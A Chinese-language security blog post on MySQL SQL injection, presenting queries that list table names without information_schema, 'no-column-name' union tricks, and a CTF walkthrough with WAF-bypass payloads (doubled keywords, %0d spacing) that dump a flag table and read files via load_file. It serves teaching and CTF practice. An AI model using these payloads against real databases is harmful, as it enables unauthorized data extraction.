0x01 Bypass information_schema获取表名
innodb存储引擎
Mysql>5.6.x 可以利用innodb_table_stats和innodb_table_stats两个表来查询,mysql默认是关闭InnoDB存储引擎,两表均有database_name和table_name字段
select table_name from mysql.innodb_table_stats where database_name = database(); select table_name from mysql.innodb_index_stats where database_name = database();
MySQL5.7的新特性
sys.schema_auto_increment_columns该视图的作用简单来说就是用来对表自增ID的监控,需要表内存在自增id才可被查询到
SELECT * FROM sys.schema_auto_increment_columns WHERE TABLE_SCHEMA='testsql';
这里其实我们需要的部分就是table_schema,table_name,column_name这3个列
testsql内有着两个表testtable以及testxxxx只有自增ID的表testtable被查询出来了
sys.schema_table_statistics_with_buffer,通过查询这个视图可以获取没有自增id的表名
sys.x$ps_schema_table_statistics_io
SELECT * FROM sys.x$ps_schema_table_statistics_io WHERE TABLE_SCHEMA='testsql'
其他
SELECT * FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = 'testsql'; SELECT * FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = 'testsql'; SELECT * FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = 'testsql'; SELECT * FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = 'testsql'; SELECT * FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = 'testsql'; SELECT * FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = 'testsql';
通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP 'testsql'; SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP 'testsql'; SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP 'testsql';
performance_schema
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = 'testsql'; SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = 'testsql'; SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = 'testsql'; SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = 'testsql'; SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = 'testsql';
包含表文件路径的表
SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
0x02 无列名注入
我们获取了表的信息但是没办法获取列名时可利用无列名的方式进行注入,无列名注入的原理其实类似于将我们不知道的列名,进行取别名操作,在取别名的同时进行数据查询,所以如果我们查询的字段多于数据表中列的时候,会出现报错。
select * from testtable;
数据表中有3列,我们使用无列名查询的方式尝试查询一下
select 1,2,3 union select * from testtable;
无列名注入对应所查询数据表的列数必须一直不然会报错,这里在添加一列查询进行测试
查询第二列数据
select `2` from(select 1,2,3 union select * from testtable)b;
查询多列数据,也可以使用group_concat等函数
select concat(`2`,0x7e,`3`) from (select 1,2,3 union select * from testtable)a;
当`被过滤时,可以使用别名查询
select t from(select 1,2 as t,3 union select * from testtable)b;
还可以使用join进行无逗号注入 a是第一个列b是第二c是第三
select b from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from testtable)x;
例题
在睡觉前某个师傅发过来了一个CTF注入题目,刚好用到了无列名注入记录一下
手动测试了一下拦截 or 空格跟%0a %09等空白字符
判断列数使用group这里空格使用%0d得到3列
测试联合注入发现页面显示error也没被拦截,拦截页面会输出die
这里猜测是进行过滤将union跟select双写成功
这里也测试了一下将union放在or中间,发现还是被拦截,估计是替换后在判断是否拦截的所以这里要从information_schema里获取数据就不太现实了
得到当前数据库iscc_web跟版本5.7.33
这里版本是5.7所以我们可以sys.x$ps_schema_table_statistics_io来获取表名这里很明显我们需要的iscc_flag这个表内的数据
id=-1'uniunionon%0dselselectect%0d1,group_concat(table_name),3%0dfrom%0dsys.x$ps_schema_table_statistics_io%0dwhere%0dtable_schema='iscc_web'%23
这里采用无列名注入获取iscc_flag表的数据得到ccmd.php
?id=-1'uniunionon%0dselselectect%0d1,(selselectect%0dgroup_concat(a)%0dfrom%0d(selselectect%0d1,2%0das%0da%0duunionnion%0dselselectect*from%0discc_flag)c),3%23
ccmd.php打开又是一个新题目页面底部提示我们flag在flllllllllaaag.php文件里
测试一下没被拦截的字符
执行一下pwd获取当前路径
然后我们通过mysql的load_file函数去读取文件
成功读取到flag
来源:freebuf.com 2021-05-20 08:41:41 by: JunMo666
请登录后发表评论
注册